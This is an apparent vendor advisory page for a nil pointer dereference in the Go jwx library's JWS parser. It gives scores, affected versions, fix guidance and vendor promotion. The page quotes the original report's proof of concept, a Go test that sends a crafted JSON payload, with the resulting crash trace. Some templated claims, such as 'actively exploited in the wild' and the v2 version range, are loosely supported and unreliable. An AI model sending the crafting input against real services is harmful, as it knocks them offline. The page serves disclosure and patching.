How severe is GHSA-pvcr-v8j8-j5q3?

GHSA-pvcr-v8j8-j5q3 has a CVSS score of 4.3/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-pvcr-v8j8-j5q3?

GHSA-pvcr-v8j8-j5q3 affects the following packages: github.com/lestrrat-go/jwx (Go), github.com/lestrrat-go/jwx/v2 (Go). Ecosystems affected: Go.

How do I fix GHSA-pvcr-v8j8-j5q3?

Update github.com/lestrrat-go/jwx to 1.2.28 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pvcr-v8j8-j5q3 is resolved across your whole dependency graph.

How do I detect GHSA-pvcr-v8j8-j5q3 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lestrrat-go/jwx. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-pvcr-v8j8-j5q3 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-pvcr-v8j8-j5q3?

O3 pinpoints whether GHSA-pvcr-v8j8-j5q3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-pvcr-v8j8-j5q3 actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-pvcr-v8j8-j5q3, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-pvcr-v8j8-j5q3?

GHSA-pvcr-v8j8-j5q3 has an EPSS (Exploit Prediction Scoring System) score of 0.9%, placing it in the 54th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-pvcr-v8j8-j5q3?

GHSA-pvcr-v8j8-j5q3 is classified as NULL Pointer Dereference (CWE-476). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-pvcr-v8j8-j5q3 published, and has it been updated?

GHSA-pvcr-v8j8-j5q3 was published on January 9, 2024 and was last updated on February 4, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-pvcr-v8j8-j5q3

MEDIUM

Parsing JSON serialized payload without protected field can lead to segfault

Also known asCVE-2024-21664GO-2024-2454

Published

Jan 9, 2024

Updated

Feb 4, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

1 known

EPSS Exploitation Probability

via FIRST.org ↗

0.9%probability of exploitation in next 30 days

Lower Risk54th percentile+0.69%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

2 pkgs affected

🐹github.com/lestrrat-go/jwx🐹github.com/lestrrat-go/jwx/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference.

Details

This seems to also affect other functions that calls Parse internally, like jws.Verify.

My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.

Based on the stack trace in the PoC, the issue seems to be that the processing done in jws/message.go:UnmarshalJSON() assumes that if a signature field is present, then a protected field is also present. If this is not the case, then the subsequent call to getB64Value(sig.protected) will dereference sig.protected, which is nil.

PoC

Reproducer:

package poc

import (
        "testing"

        "github.com/lestrrat-go/jwx/v2/jws"
)

func TestPOC(t *testing.T) {
        _, _ = jws.Parse([]byte(`{"signature": ""}`))
}

Result:

$ go test        
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
        panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]

goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
        /usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
        /usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0x831030?})
        /usr/local/go/src/runtime/panic.go:914 +0x21f
github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:484 +0x18
github.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/message.go:323 +0x4ad
encoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})
        /usr/local/go/src/encoding/json/decode.go:604 +0x6cc
encoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})
        /usr/local/go/src/encoding/json/decode.go:374 +0x3e
encoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})
        /usr/local/go/src/encoding/json/decode.go:181 +0x133
encoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})
        /usr/local/go/src/encoding/json/stream.go:73 +0x179
github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/internal/json/json.go:26 +0x97
github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:588 +0x50
github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:525 +0x89
poc.TestPOC(0x0?)
        /home/fredrik/src/jwx_poc/poc_test.go:10 +0x57
testing.tRunner(0xc0000e4340, 0x68ef30)
        /usr/local/go/src/testing/testing.go:1595 +0xff
created by testing.(*T).Run in goroutine 1
        /usr/local/go/src/testing/testing.go:1648 +0x3ad
exit status 2
FAIL    poc     0.005s

Impact

The vulnerability can be used to crash / DOS a system doing JWS verification.

Affected Packages

2 total 2 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/lestrrat-go/jwx`	≥ 1.0.8&&< 1.2.28	1.2.28
🐹Go	`github.com/lestrrat-go/jwx/v2`	all versions	2.0.19

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherw…

github.comNVDJan 2024

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lestrrat-go/jwx. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/lestrrat-go/jwx to 1.2.28 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pvcr-v8j8-j5q3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pvcr-v8j8-j5q3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-pvcr-v8j8-j5q3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Calling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference. ### Details This seems to also affect other functions that calls `Parse` internally, like `jws.Verify`. My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation. Based on the stack trace in the PoC, the issue seems to be that the processing done in `jws/message.go:UnmarshalJSON()` assumes that if a `signature` field is present, th

O3 Security · Impact-Aware SCA

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